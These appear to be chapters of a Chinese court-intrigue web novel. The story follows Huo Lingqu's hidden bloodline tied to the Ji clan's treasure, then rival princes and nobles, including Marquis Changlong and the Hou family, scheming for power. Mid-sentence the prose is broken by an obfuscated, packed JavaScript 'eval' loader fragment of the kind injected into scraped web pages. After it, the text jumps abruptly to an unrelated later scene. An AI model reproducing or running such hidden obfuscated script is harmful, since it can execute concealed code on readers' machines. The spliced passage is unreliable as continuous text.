“你、你、你是蜀王?”霍灵渠美目圆睁,盯着她‘表哥’,阿胜低下头,霍灵渠心情莫名地转向她爹和晏霁之,晏霁之道:“我们都知道,就你不知道。” 受暴击的霍灵渠:“……” 霍灵渠冷静下再看向对面的蜀王,略有丝低落:“原来你不是我表哥呀。” “你们是表兄妹,你有这份血脉你们就是表兄妹,你知道你的血有多珍贵吧,你以为你这份血脉是哪儿来的?”姬汜若有自嘲,霍灵渠听不懂近乎茫然看他,姬汜压压情绪告诫:“这是姬沛给你的,你得了姬家的恩惠就要担起姬家的仇。” “行了,别在那儿蛊惑我闺女了!”霍漓江回过神来大怒驳斥:“我女儿跟你们没关系,你们想做什么我不管,但是休想牵扯我女儿,不然休怪我跟你们翻脸。” 姬汜一个眼风都没给霍漓江,只问霍灵渠:“灵儿明白伯伯的意思吧?” 霍灵渠握握她的左臂,看向晏霁之,晏霁之压住思绪,同握住她的手臂把人护在怀中,他此举在几位长辈看来谁都没在意,唯独阿胜眼底更黯淡些甚至有苦味。 晏霁之温和道:“前辈可否把话讲明白了?” “姬家是上古颛顼之后,有一祖传宝物可重塑天地扭转乾坤。”姬汜言及此,霍漓江忍不住要打断被诲仰拉住,姬汜垂下眼睑:“因此宝物,姬家千年来多遭横祸。 我们避世隐居,可姬家还是每隔几百年乃至一百多年就要遭受几乎灭族的厄运,阖族人数不能过千仿佛是一个诅咒,因此,姬沛要把这件宝物毁了。” 霍灵渠讶然,是她母亲家族的宝物,表哥不想多事,所以借用她生母娘家? 晏霁之蹙眉:“姬国舅过世时也就我这岁数吧,他已经是族长了?” “姬沛是族长的儿子,族长毁不掉宝物,姬沛能!”姬汜神色沉穆:“欲开启宝物,先得有我们家族的灵物,就是那份血脉,姬家几代人积攒的福德才能孕育出一份来,数千年来,姬家有此血脉者不超过十人,姬沛有,姬沛之前是二百八十多年前的祖宗。” 姬汜注视向霍灵渠,说:“你该知道姬沛给你的礼有多宝贵了吧?” 霍灵渠哑然,霍漓江无奈:“别再蛊惑我女儿了行吗?” “授康二十年,灵渠遇见过镇南侯吧。”姬汜微笑揪出,霍灵渠诧异看他,霍漓江心惊想驳斥还是没有多言,姬汜笃定道:“若非嬴天漾遇见你,他早死了。当年经老皇帝首肯,朱存焳给废齐王的家眷用毒,这毒很惨烈,就是要把废齐王的家眷赶尽杀绝。 后来老皇帝重用嬴天漾封镇南侯都有探究之意,嬴天漾怎么活下来的?连我们都奇怪,直到阿胜找到你,什么都明了了,是嬴天漾喝了你的血。” 霍漓江想斥胡说八道还是看向闺女,晏霁之也看她,霍灵渠心慌:“是,当时我带桑柔回京途中遇上嬴天漾,他危在旦夕,我找大夫,大夫说没得救了。 是嬴天漾发狂时我制止他,他咬着我的手臂才安静下来,他说喝着血很舒服,我们也不知道怎么回事,但就是他喝着血能好起来,我就给他喝了我的血。” “不是他喝血能好起来,是唯有你的血、姬沛留给你的这份血脉才有用。”姬汜喟叹:“这份血脉有多珍贵呢,大概就是,若是霍家大火前我们就知道了你的身份,我们就能知道霍家大火后出现的那个是假的,你霍灵渠是不怕火烧的。” 霍灵渠惊悚:“你说什么?” “你滴一滴血就会有多虚弱,你应该很清楚啊。”姬汜笑:“向死而生,这是能开启重塑天地的宝物的钥匙,这是能泽被生灵的血脉,怎么会怕火呢。” 霍灵渠惊惶跌退步,晏霁之扶住她,探究:“你是说,灵渠她百毒不侵?” 姬汜懒懒道:“没那么夸张,就是能自己痊愈,快则几天,慢则个把月。” “够了!不要再胡言乱语了!”霍漓江烦躁吼:“再恐吓我女儿,休怪我翻脸啊。” “姬沛想把宝物毁了,我们阻止他,错了吗?”姬汜直接无视霍漓江,双目猩红,脖子里青筋直暴,整个人都癫狂起来:“这是传家宝啊!若没有宝物,能有今天吗?我们世代避世隐居、我们从不害人,我们有什么错?是那些人、那些贪婪的人! 他们才是罪恶的根源!他人的罪业却要我们自家毁掉家族命脉,这是什么理儿?灵儿,你给伯伯评评理,我们想要保住宝物,有什么错?这是传家宝啊!是姬沛错了,姬沛想毁掉宝物的想法就是错的,灵儿说,是姬沛错了,是姬沛错了!” 霍灵渠只觉得很沉重很悲痛很难过,沉重悲痛的想哭,晏霁之揽过她,霍灵渠转过身,晏霁之质疑:“诸位既然想要报仇,作甚要隐忍二十多年?” 姬汜压压情绪,没有说话。 姬潮解释:“想扭转乾坤,自灭族之祸起,十八年内姬氏族人不能破杀戒。” 霍漓江顿时被这原委呛得想捂脸,这群人真是……真服了他们了! 晏霁之抓个矛盾:“既然你们相信这宝物能扭转乾坤,姬国舅生前为什么没有作为?姬国舅过世、你们又还没有发现灵渠的情况时,你们怎么还能坚持能重塑天地?” “重塑天地,若这么容易,天下岂不早就乱套了。”姬汜讥声,晏霁之忽然哑口无言,还是姬潮说:“血脉只是开启宝鼎的钥匙,想扭转乾坤,只有这血脉不够。 是姬沛死后,这血脉还在,我们自己家族的灵物是在天地间存在还是消失了,宝物能够感应得到,姬沛生来就有,他出生时族里就获知了。可姬沛死后,这血脉居然还存在,我们断定姬沛生前还有安排,所以我们忍了下来。” 霍漓江抓心啊:“那你们现在想怎样,让我女儿给你们试试能不能重塑天地扭转乾坤?当我求你们,清醒点行不行,这就是个传说,姬沛想把那破鼎毁掉也是不想你们再发昏了,姬家都死多少人了,你们还要迷信下去吗?清醒一点好吧!” “你们还嫌这破迷信造的孽不够吗?”霍漓江骂:“姬洵,你说句话行吧!” 国师遂道:“你们两个出去,我们自家人谈谈。” 霍漓江再被气到了:“谁跟你是自家人?” “这里两个外人,不是你们两个是谁,你想算三个的话,你把阿胜也带走?”国师诲仰道长姬洵冷峻发威:“你自己造的孽,怨得了谁?出去!” 霍漓江憋屈地走人,走前不忘叮嘱女儿不要怕,他们敢吓唬你,你就跑。 霍灵渠乖乖点头,晏霁之也嘱咐过后离开,霍灵渠目送爹爹和晏霁之离去,看向他们,说怕么也不怕,说不害怕么也有点心戚戚,沉重到有些难以面对吧。 “阿胜、阿胜,阿胜啊!”姬汜爆发了几乎是恨铁不成钢:“十二年,十二年有什么用,你要回到十二年前就图一个让你太上皇父亲禅位吗?” 霍灵渠陡然心骇跳,阿胜走过去挡在灵渠面前,姬洵见此,神色愈发阴沉:“让开!她难道还是二十四年前还在襁褓中的小婴孩需要人来护着她吗?!” 阿胜要对抗时衣裳被扯了扯,霍灵渠移出来,低头歉疚:“是我要回到十二年前,前世授康二十八年定襄惨败,我、我想扭转,我,我不知道姬家的往事,我……” “所以这样的大恩这样的大债,你怎么还?”姬洵目光凶狠咄咄相逼,霍灵渠再骇跳,阿胜怒瞪这个小舅,姬洵只告诫霍灵渠:“姬家的血仇也是你的,记住了吗?” “我、我……”霍灵渠乱得慌:“我母亲叫什么名字?” 姬洵盯着她更阴冷了些,姬汜笑起来,打圆场把孩子拉走,阿胜当即揪住这小舅质问:“你非得想把灵渠卷进来作甚?你给她个安生不行吗?” “这是她的命!” 姬洵咆哮,阿胜冷冷盯他一眼,走掉。 姬汜返回来,没一会儿,果然,霍漓江回来了:“我女儿的血到底怎么回事,你们真没想祸害灵渠就给我个实话!” “你急什么,姬沛当然给不了她这份血脉,可阿胜都和她认表兄妹了,你还能有更好的说辞安抚你女儿打消她的疑虑吗?”姬汜淡淡道:“她和姬沛一样,与生俱来。自她出生,姬沛身上的血就和我们没什么不同了,当年姬沛第一眼看到她就有数了。” “这样的事,姬沛居然硬瞒了下来,瞒了我们……呵!”姬汜猛地心酸又强行克制住,可霍漓江又哪会是轻信的主儿:“蒙你们看得起,我女儿没这么大福分。” 姬汜不咸不淡的:“这又不是我们能做主,我们若能做主,我们还想能有呢。” 霍漓江豁出去了让他们用姬沛起誓,结果这仨真满不在乎的发誓了,霍漓江气冒烟了:“那怎么偏偏就是我女儿,你们姬家那么多人怎么就能落到我女儿头上来?” 他们看霍漓江,这下是真有点似笑非笑的诡秘了。 晏霁之转几圈找到霍灵渠,看她小脸皱得,抬手揉揉她的脸蛋。 “我在想我爹会喜欢什么样的女人?”霍灵渠拧眉:“我想不出来。” “所以呢?”晏霁之被意外了:“你在苦恼这个?” 霍灵渠强调:“我想不出来呀。” 晏霁之不能理解:“你想不出来有什么问题吗?” “当然有问题,不正常!”霍灵渠飚高音:“我居然想不出来我爹会喜欢什么样的女人,这简直天方夜谭!我怎么可能想不出我爹会喜欢什么样的人,这铁定不正常!” 晏霁之劝她:“这不算不正常吧。” “这当然不正常!”霍灵渠很激烈:“我爹呀,我想象不出来我爹会喜欢什么样的女人,这问题不大了去了吗,我怎么可能会想象不出来呢,这绝对不正常!” 晏霁之不想搭理她,恰好霍漓江过来,晏霁之把他女儿的观点告诉他,霍灵渠美眸犀利神情戒备就是防止这爹想糊弄她:“爹,我母亲叫什么名字?” 霍漓江还没训闺女,晏霁之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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魏王站起来往屋外走,来到画舫大堂,见到晋王带着群油头粉面的纨绔,晋王想招呼人当然还是能聚得起的,魏王没想到的是,任逍也在。 “听说四哥你在这里会佳人,”晋王气色看似不差,却更像是以损伤里子为代价的强撑:“什么样的佳人还得四哥你这么藏着掖着,不如让她出来让大伙见识见识?” 魏王盯着他没说话,晋王转头吩咐:“你去,把四哥那位佳人请出来。” 他是对任逍说的。 任逍没有看魏王,刻意避着魏王的视线,但她也没犹豫的就往楼梯冲,魏王冷冷看着,还没入晋王府就这么给晋王卖命了!之前魏王府遭刺客,任逍入晋王府推迟一个月。更不必下人禀报,魏王都知道庄太妃的细作怎么劝说她的—— 魏王若是不管你还能面对任家吗,魏王就是吓吓你,不敢真不管你,可你入晋王府之后若还向着魏王还能有活路吗?效忠晋王府,你才能活,否则你只有死路一条。 任逍提着裙摆一个健步冲上楼梯,晋王看戏,晋王身后的人起哄,正当任逍要跑到二楼时猛然被踹翻,跌跌撞撞滚下来,摔出楼梯,当场就吐了血。 晋王脸色微变冲过去,阿胜犹似踩着曲子的节拍往下走,行至楼梯中段,居高临下训:“七弟,哥哥们来游湖,你放条狗来搅扰兄长们的兴致,还懂不懂事了?” “皇兄,这是我将过门的侧妃,你如此无礼怕是不妥吧?”晋王对峙。 阿胜掀掀眼皮:“你想去曲江里泡个澡?” 晋王攥紧拳头走掉,管都没管任逍,魏王瞥她眼,吩咐下人:扔出去。 魏王再回到二楼时霍灵渠抱着小祐在作画,架着画架,画纸竖在娃娃面前让他涂色彩,只是霍灵渠被楼下这一闹闹得兴味索然了,不觉得晋王可怜,但真有感到悲。 “侯瞻渥跑出京畿应该至少有一百里了吧?升平大长公主当年不喜欢四姐姐甚至嫌恶,生怕四姐姐缠上侯瞻让,为什么,变成侯瞻渥的媳妇,她就能这么爱屋及乌?” 屋中陡然肃静,阿胜沉默,魏王微顿下,皇帝嬴忱璧垂着眼眸,霍桑柔看看他们让小祐不要那么高兴。晏霁之猜测:“或许是侯瞻渥给了她满足。” “满足?”霍灵渠不解,几人皆看向他,小祐娃娃都学样看过去,晏霁之客观道:“满足她的虚荣,肃宗皇帝十个女儿,论不起眼,升平不是垫底也是倒数,偏偏是她夫妻恩爱、年近四十还能生养,还不足以让她自觉扬眉吐气傲视姐妹们吗? 这位升平大长公主溺爱的不是儿子,是她自己,把她自认为曾经没有得到过的瞩目爱溺放纵全都补回来,自然也就舍不得约束侯瞻渥一星半点了。” 魏王讥讽:“亏得大家还都觉得升平是她们姐妹中性情最好的。” 霍灵渠脸色有些差:“那武襄侯呢?” “老穆国公说,武襄侯四十几年前差点成护国公的姐夫了,武襄侯对公主媳妇的好可能也包含着愧疚,他喜欢的女人姓原。或许是武襄侯也看到年轻时的自己了,他对喜欢的姑娘不够勇敢,既然侯瞻渥能为喜欢的女人奋不顾身,他愿意成全吧。” 晏霁之语毕,霍灵渠冷然恭维:“到底皇亲国戚!” 湖面滴滴答答跳起雨珠,小祐雀跃起来,皇帝嬴忱璧没好声:“贵妃,下雨了!” 霍灵渠看向他:“你是会扫兴的。” 嬴忱璧被噎得再转头,晏霁之端着果盘来到两位王爷面前,给过他俩甜橙,阿胜和魏王都抬眼看他,晏霁之走向小娃娃,一只橙两只橙三只橙地递给娃娃,小祐抱着甜橙子,笑得嘴巴都裂到耳后根了,然后分给娘和姨母,晏霁之再走到皇帝面前给只甜橙。 嬴忱璧无语地瞪他,晏霁之笑笑:“大概是,只有你不耐烦吧。” 晏霁之回桌前继续对弈,嬴忱璧犹若被定住了下,这屋里的氛围都变了变。 很快大雨倾盆,落雨砸过天黑,转至翌日天明仍有细雨飘洒,清晨微凉,崇孝长公主冒雨赶到魏王府,和魏王因昨天魏王派人把任逍丢弃在湖边的事又险些吵架。 晏霁之撑着油纸伞出门,不乘车,步行,独自走在淅淅沥沥的细雨中,走过行人稀疏,走过雨天灰蒙都盖不住仲夏葱郁的生机,他来到霍家,见霍老太爷。 老少会面,晏霁之递上只木匣,直言道:“若我走在您前头,又或者我没有走在您前头但您能预见到我将会走在穆国公前头,帮我转交给灵渠。” 霍擎伸向木匣的手微滞,打量对面的年轻人:“你还能走在我前头?” “下个月,朱家太夫人要过大寿,我琢磨着应该送份什么样的礼给昌隆侯,想到一个很大胆的计划。”晏霁之音色温润:“我不知道此计能不能成,但我很想尝试,若此计没成,自不必麻烦您;若此计能成,还是做好最坏的准备吧。” 霍擎打开木匣,看见只荷包,他把荷包拿起来,是只做工粗糙的荷包,一看就是不会刺绣的人缝的,荷包上用金丝线描着两个字:吾妻。 霍擎没有避讳,再打开荷包,看见荷包里装着些头发还不是整齐剪下的一束:“你自个儿做的?” 晏霁之雅意浅浅:“是啊,最近有些掉头发。” 霍擎问:“明知山有虎,为何还要偏向虎山行?” 晏霁之垂眸静默两息时间,不是犹豫,只是,还是有些感触:“我想到海啸,若是海啸想到同样的计划,他大约不会做的,论对家族的责任感,他比我强多了。若是只有我死才能保全家族,我不会惜命,但我大概不能为活着太压抑自己。” 霍擎沉默下问了个风马牛不相及的问题:“你是走着来的?” “是啊。”晏霁之应,霍擎再沉默下,点头同意:“好。” “原安西将领的家眷若有人想将他们转移,陛下的意思是不是放任?”晏霁之顾虑,得到肯定的答案,他规劝:“还是盯着吧,或许能有用也未可知。” 霍擎再给个好。 晏霁之颔首站起来:“不叨扰您了。” 屋檐前,雨丝细细密密,不疾不烈亦不畅,原来,最是轻微恼人。 端午假期结束,晏霁之告假在家,闭关!晏煦之酉时回府,听说老哥一天都还没进食,特意去看看他。他进屋,那位仁兄头都没抬头,他溜达到他身边看他仍埋头苦算,看半响,没看出他在算些什么,怀疑:“工部有疑难找你帮忙?” 没有回应,晏煦之识趣地走了。 宜春县主萧灼灼也来过,她原想来当热闹看,没想到蔚然居对她闭门不让进,跟晏四争执半天,要硬闯时被劈晕送走。萧灼灼醒来,火大得再去,再被劈晕,连着反复三次后把桓炜彤和徐侧妃召了过来,各种劝令她不得不走没法再闹。 萧灼灼感觉她的爆破之力要爆发了。 原牧炽都来过一趟,歪头看半天没看出个所以然:“你在算什么?” 晏霁之相告:“风!” 原牧炽回:“你发什么疯?” 晏霁之没再多言,原牧炽再待会儿没劲了,也不理他,走了。 回到家门前,还没进门,小妹跑出来迎他,原牧炽高兴得想奖励小妹真懂事,被告知是那个所谓的大嫂章醇郡主来了,原牧炽憋股闷气,去打瘟神。 端午以来,虢王妃娘家及相勾连的人家相继倒塌,虢王又快把书房砸塌了,霍家狠得,这一下就拔起他四五成的势力!章醇郡主都要一再来请婆家相帮,原牧炽看这个所谓的大嫂真是不要脸得够了,晏霁之想的是不错,大哥回来前确实他该留着。 然,虢王府这些天这么引人注目都没盖住房家的热闹,房祯毅擅自去佟家提亲,佟家以房祯毅自作主张不合礼数婉拒房祯毅。 房副相上个月就给二儿传信了,房二老爷夫妇赶来,和事佬没做成反而火上浇油了,二老爷夫妇觉得不算什么事就让佟妙兮做妾嘛,房祯毅坚持要娶做妻子,房副相根本不肯和佟家沾上,闹到最后,一拍两散。 房副相干脆把二儿子分出去,放话从此不再管他们。 房祯毅爹娘也硬气,就给儿子娶佟妙兮了,日子都定了,下个月娶妇! 这天是初十,五月初十,对皇帝还是有点感触,今天,他和郭氏成婚满十二年了。 郭皇后还在病中,这天更像没什么不同。 嬴忱璧没想告别什么也没什么要告别,只是这一天,还是有感到丝不同。 不过第二天,皇帝就什么闲心思都没了,昌隆侯乔装进京了! 143. 第143章 仲夏的夜,偶有蝉鸣袭来,渗入几缕烦闷,花草丛,流萤星星点点。 这是座位于闹市的府邸,乍看像富商家的宅院,大宅戒备森严,堂屋中,昌隆侯高坐,虢王世子低头跪着。 昌隆侯是个清瘦的人,面部轮廓深邃,盯着人看时阴冷压迫扑面而来,犹似毒蛇在吐着信子。 虢王在旁边看着都有点颤,扯了扯梅斗。 梅斗先生真是嫌弃他得够了:“侯爷,两位姑奶奶出事当夜,大姑爷和王妃都被霍雄鹰打得不轻,大姑奶奶怕是自己都始料未及,毕竟圣人都还在座。” “对啊对啊,谁能想到霍家狂成这样,圣人还向着霍家。”虢王连忙附和:“你就别盯着这点小事了,我现在焦头烂额得,我都快要疯了,你赶紧明天就去见圣人,把霍家给拦住,呃不是,是让霍家连本带利地给我吐出来。” 昌隆侯收回盯女婿的视线,神色宽松些:“霍家不就砍了你一半势力。” “什么叫不就一半?”虢王被他这不以为然的态度刺激得险些要蹦起来:“一半啊,才几天一半就没了,这可是我和我爹几十年聚集起来的,几十年啊!才几天,我几十年的心血一半就没了,那再过几天,霍家是不是要把我一锅端了?” 堂屋中两位幕僚,昌隆侯此行带来了他座下排第三的幕僚,檀慈,名慈,人狠,是前三幕僚中最爱一出手就出杀招的。他睨眼虢王,可比梅斗直白多了——你本来也没多少势力。甚至于梅斗先生和虢王相处这么些天,对虢王的反应都不想有想法。 “我小舅子还在死牢里呢。”昌隆侯刚得信时都懵了,到现在都还能被气到:“你们是一对卧龙凤雏啊,这样的杀招都能一拍即合,我说的是你们要自杀的杀。” 虢王被噎下对呛:“可我、我都被砍掉一半势力了。” 昌隆侯提醒:“你想害人家死绝。” 虢王再被噎下再呛:“你不也想让霍家死绝?!” 昌隆侯懒洋洋恭维:“我可不敢想能走你们这样的捷径。” 虢王被噎得干脆耍无赖:“反正,反正绝不能就这么算了,你要是不去圣人那边让霍家给我连本带利吐出来,你就自己补偿我的损失。” 两位幕僚皆瞪看眼虢王,昌隆侯无视道:“翟猛在刑部怎么样?” 虢王就当他默认了,只是语气还是有些冲:“还能怎么样,天天闹着要逃狱呗,我和先生找郢国公三回了,郢国公死脑筋的怎么都不肯,我就说还是该找显国公。” 昌隆侯端起茶盅抿口茶:“找你大侄儿吧。” “我大侄儿——”虢王愣下才反应过来:“哦你说恒山王啊,唉,你又不是不知道他是个只想坐享其成的,他能沾这个手就出奇了,找他没用的。” “让他去找桓家,桓国公两个嫡女,一个嫁在霍家一个嫁在晏家,还能有谁比桓国公更适合救翟猛。”昌隆侯言罢,虢王眼睛亮起来:“哎老朱,你这主意不错啊。” 老朱?两位幕僚再看虢王一眼,这称呼让他们都怪怪的,侯爷怎么会忍受? 昌隆侯是懒得计较,非要计较那就是计较不清楚:“你告诉他,必须把这事给我办了,若不然,他不是总嫌桓家跟他不是一条心嘛,那桓家留着也没用了。” 虢王舒畅了:“哎,要是桓家留着没用了,桓家的万贯家财——” 昌隆侯更顺畅的打击:“掉不进你口袋里。” 虢王顿时板脸不爽:“我看,找桓国公也不靠谱,桓家又不靠恒山王吃饭,真跟恒山王撇清又怎样;圣人在,这大侄儿还有一分薄面,皇帝那儿,那可是比我还不如。 你又不是不知道他仗着自己是肃宗和桓皇后的嫡长孙有多端着,他爹都死四十年了,也不看看这都什么年代了,还端着,端什么端呀。” 昌隆侯淡淡道:“你先找他吧,再不济,让他找代王搭把手。” 虢王无语:“那更是明哲保身的好吧,找代王还不如我给他搭把手呢。” 昌隆侯对虢王的耐心就是这么一点点磨出来的:“所以要把他们拉下来呀,全都拉过来还怕补偿不了你的损失吗?不管是代王还是桓国公,这事做了,大家就是一条船上的,你是想任由他们溜走还是把他们放进自己碗里?” 虢王犹豫:“可找代王肯定会被他拒绝。” “你拿他的把柄威胁他呀,他这么尴尬的一个身份,他还能没有点心思吗?他有心思,你还怕找不到他的把柄吗,这就相当于是一条自己送上门来的鱼,你不要?”昌隆侯告诫:“此事重点不在于救翟猛而在于逼他们上我们的船,懂吗?” “行吧行吧。”虢王烦糟。 “行了,夜深了,带我这大姑爷走吧,我过几天现身,暂时别告诉我大姑娘。” 虢王摆摆手示意知道了,他们父子离去,死士报过没人跟踪虢王父子,两个幕僚退下,昌隆侯独自坐坐,一个风尘仆仆的中年男子进屋,他身边同来的是,郢国公。 “就你们俩?” “显国公和刘尚书不肯。”刘尚书,刑部尚书。 答话的是中年男人,他面有疲乏,疲乏中还有烦意,郢国公也是看他面才来的,闻言,郢国公迟疑下还是即刻就要走,昌隆侯站起来,他也没管昌隆侯,侯瞻逊把郢国公拉住劝:“国公爷,既然都到了就坐坐吧,何必急着走呢?” “武襄侯不知道你回京吧,世子,你还没当家就想背着你父亲做主,你不怕鸡飞蛋打,你可还有三个弟弟,都是一母同胞的亲弟弟,你这世子位有那么稳吗?” “那么你鞠家有你以为的稳吗?”昌隆侯走到他面前,嗤笑:“你们四家国公府、算上晏家,五家中谁家被排挤在外,难道不是你鞠家吗?显国公想取霍家而代之是过了明路的,谁都知道又怎样,他和霍秦川还就是能和顺,你和穆国公行吗? 年初因为晏明潜,晏墉和显国公斗得够狠了吧,又怎样,现在还不是好好的。谁傻啊,谁看不懂你鞠家想坐收渔利,他们难道不能先联手把你鞠家除了吗?” 郢国公神情微颤下,昌隆侯要乘胜追击时,堂屋门哐当被踹,武襄侯面色铁青进屋来,死死盯着长子:“今晚不必见你娘了,明早你就回驻地去,郢国公也早些回吧。” “爹?!” 侯瞻逊四十岁的年纪,眉头间已有沧桑:“你不嫌窝囊吗,你不想争第一不想争第二,你连第十都不想争,那你为什么还要放纵侯瞻渥,他非要这媳妇,侯家和霍家还能不闹到你死我活吗,您都决意和霍家硬碰了还惺惺作态不嫌假吗? 儿子都四十岁了,可就因为悼太子的遗嘱,我11年前在河间军是什么职衔,我就至今还得是11年前的职衔还得待在河间军,就算明年能结束了,可我的出路在哪儿?圣人在,侯家还能维系,圣人若不在了,您也致仕了,我跟皇帝能有情份吗? 将来,武襄侯府的路在哪儿,侯家在我手里,我和侯家的路要怎么走,我们最终是不是要落得个谁都能来欺凌?如今好不容易能够打破朝廷现有局面,让我们能搏一把,可能我这辈子也就这一个能出头的机会了,为什么要放过?” “是你想要的太多!”当着外人的面,武襄侯也没给长子留情面:“你是陛下的表兄,你若有本事,谁能拦住你出头,你若没本事,做个闲人,谁又会欺凌你?” 侯瞻逊被刺激到了:“我没本事?” 武襄侯就问:“你有本事,作甚非得想和陛下攀情份不能靠你自己?” 侯瞻逊怫然往外走,武襄侯看眼昌隆侯,随即离去。 看了场戏的两位,郢国公没滞留,紧接着告辞,昌隆侯勾勾唇,岂会注意不到郢国公对他的细微变化。 武襄侯出来时侯瞻逊已不见人影,武襄侯回到家,得知世子未回,刚要派出人手去找,显国公派人来通知,之前就是显国公通知他的,武襄侯真是被这个长子气到了。 平原大长公主都有气,半夜里被迫从被窝里起来,谁能没气,什么事非得半夜谈,听过侯瞻逊的事——瓜分北境和霍家,平原蠢蠢欲动也不嫌这外甥了,扯着丈夫让他快表态呀,显国公道:“夜深了,瞻逊你赶回京来也累了,回去歇息吧。” 侯瞻逊还想规劝被显国公制止,咬牙先告辞。 屋中就他们夫妻时,平原埋怨:“你干嘛不愿意,昌隆侯想做第一就暂且让给他好了,只要北境的兵权能到咱们手里,想把朱家拉下来还不是手到擒来吗?” 侯瞻逊的提议或者说昌隆侯的许诺是:朱家做当朝第一豪族,侯家和薛家一同拿北境。平原没把这外甥看眼里,在她看来这谋划就相当于是让薛家独吞北境。 “是啊,这么简单的算法,昌隆侯是不懂吗?”显国公耻笑。 平原大长公主噎下反驳:“可他需要帮手,要不然他顶不住啊,他只能把好处许出来,管他是不是权宜之计,只要我们把北境拿到手了当然就是我们的。” “你先去睡吧。”显国公说,平原反应大条了:“这大半夜的你还要去找小妾啊?” “我在等你大姐夫!!”显国公受不了地冲她咆哮,平原噎下,没好气地走了。 已是夜半,烛影中仿佛渗进夜的黑将富丽华彩也照得迷离昏暗起来,武襄侯匆匆赶来,得知侯瞻逊已经离开,他谢过后也要告辞时被显国公留住了。 “大姐还好吧?” 升平大长公主这两天当然不怎么好,侯瞻渥把霍桑柔约出去害霍桑柔险些遇险幸亏魏王搭救,说侯瞻渥没和晋王合伙,谁信?侯家该去霍家赔个不是,但侯瞻渥溜出京后,他娘心急如焚侯家乱成一锅粥,武襄侯也忙得团团转,就忘了这茬,没顾上。 霍家等了三天,五月初九,霍贵妃请新都大长公主、乐邑长公主、丞相夫人和阴御史的夫人品茶,霍贵妃还专门解释了没请平原大长公主的原因是因为她知道就算请平原姑母,这姑母也不会赏脸,所以不是故意忽略她,还请乐邑帮她带个话。 乐邑面上好说好说,心里腹诽,瞧你这人请的,你没想憋点坏才怪。 解释过,霍灵渠步入正题:“升平大长公主怎会如此溺爱幼子?” 在座的四位面面相觑,阴夫人在呢,阴夫人四十四岁生的孩儿都没溺爱,乐邑再腹诽,这个童年小伙伴果然要憋坏了,难怪她要请阴夫人,合着是在这等着呢。 一时没人搭腔,霍灵渠幽幽笑:“是不是为了满足她的虚荣心?” 最后结果么,新都大长公主的脸色很不好看,乐邑回家来跟这婆母兼姑母一说,平原的神色也诡异,一时没什么态度,过后是兴奋了半宿都睡不着。 霍贵妃的观点更是当天就传进太微宫。 而这对升平大长公主的影响嘛,可能能让她今年都不想再出门了。 烛台烛泪堆高,静谧夜,烛火燃烧得都像那么孤独。武襄侯看着比他小十多岁的妹夫,显国公很温和:“我是想问问大姐夫,这么放任瞻渥,你还真想和霍家硬碰吗?我知道,你和护国公交情很不错,五年前原家被下狱时你在暗中出的力不比魏王和庞家少。 但这件事,护国公能向着你吗,因为一个儿媳妇,你要去跟霍家你死我活,谁会认可?我们谁能答应你这么胡来,谁不会是劝你,让侯瞻渥休妻。” “不必谁答应,我会带家眷归隐。”武襄侯想好了:“那么多年,也该退了,就退了吧;侯家在乡间务农,霍家若还想赶尽杀绝,圣人和陛下不会袖手旁观的。” 显国公就问:“不说瞻逊,大姐和瞻渥能愿意跟你去乡下吗?” 武襄侯道:“我意已定,由不得他们不走。” “恐怕更由不得大姐夫你做主。”显国公莞尔:“瞻逊他,想位极人臣。” 武襄侯猛地瞪视他,显国公好整以暇:“你如此当局者迷吗?大姐想要风光,我相信,贵妃看得很准。瞻逊随他娘,瞻渥自小又有多娇惯,他能过粗茶淡饭吗,包括瞻渥这媳妇,单就瞻渥夫妇俩又有谁能抛下富贵去跟你过乡下的清贫日子?” 显国公断定道:“你想都不要妄想,你若一意孤行想带他们归隐,只会火上浇油,你的好意只会让你的妻儿包括你已出嫁的女儿们都厌恶反感,乃至葬送掉侯家。” 武襄侯缓缓垂眸,显国公类比道:“你看,房祯毅对这佟妙兮有多少深情?” “你不看好?”武襄侯闻弦歌而知雅意。 “我当然不看好。”显国公嗤之以鼻:“据说房祯毅在去佟家提亲前在房家闹得特别凶,房副相放话,房祯毅若去佟家提亲,他今后就不管这孙子,房祯毅都没妥协,更看不上祖父、伯父这一家人,一个人强抗房家的重压,多痴情,真痴情吗? 房祯毅真有那么多深情敢和家族决裂吗?不过是他受娇惯,他自觉家族不可能不管他,所以才敢闹,甚至于因此看不上他的祖父,还不就是他自觉最后妥协的肯定是他祖父嘛,包括他爹娘谁不是这么想,和佟振羽兄妹五十步笑百步。 房副相真想管还能管不住吗?无非是,他心寒,不想管了。皇帝就要整肃吏治了,削减四千名官吏,届时,若房二的仕途没了,房祯毅也没了前途,他和这佟妙兮还能有好果吗?怕不是,都不必他父母拱火,房祯毅自己就要厌恶这个佟妙兮了。” 武襄侯莫名无言以对。 显国公笑悠悠:“姐夫,瞻渥若去乡下务农,用几天就得厌恶他这媳妇?” 武襄侯心一沉,显国公再一击:“晏墉彻底不管晏明潜了,生死不管。” 瞬间变脸的武襄侯幽幽看向显国公,显国公喟叹:“我很意外,真的意外,晏墉之前为这个庶子都能拿家族基业来拼,谁还能不认为晏明潜是他的心头肉,谁想,丢开了,晏墉居然真就这么撒手了连晏明潜的死活都不在意了,我是真惊讶他这么拿得起放得下。 我才发现晏墉的狠,比我狠,没疼爱过,丢掉也就丢掉了,无所谓,可疼爱过都能一经决断就决绝摈弃,他的心该有多硬?晏墉他可真不是一般的狠。” “你想要什么?”武襄侯也快人快语,这些话总不能是白跟他说的。 “姐夫言重了,但瞻逊有句话没错,当前的格局已经到要变一变的时候了,我只希望,侯家到时也还能在而不是和朱家一起没了。”显国公善意的劝:“毕竟,姐夫你能安贫乐道,大姐怕是真的不能,你们七个儿女怕也没几个能舍掉富贵。 他们不阻拦你放纵瞻渥是已经得意忘形,自以为皇亲国戚能压过霍家,你不能狠心就只能被婆娘和儿女们推着走了,真要走到那一步当然还不如你自己做主。” “今夜,谢谢妹夫了。” 武襄侯迈出显国公府,夜黑得像要沉沉压下来的网。 破晓,晨曦普照,霍贵妃的仪仗驶出皇城,驶向慈恩寺进香。 皇帝传霍海啸、晏霁之和原牧炽议事,霍海啸和原牧炽都没耽搁的到了,原牧炽对皇帝眼观鼻鼻观心,但皇帝比他还自在,就好像没有端午那桩事儿,他也就随意了。 晏霁之迟迟未至,内侍硬着头皮来禀告:英王世子说他没空。 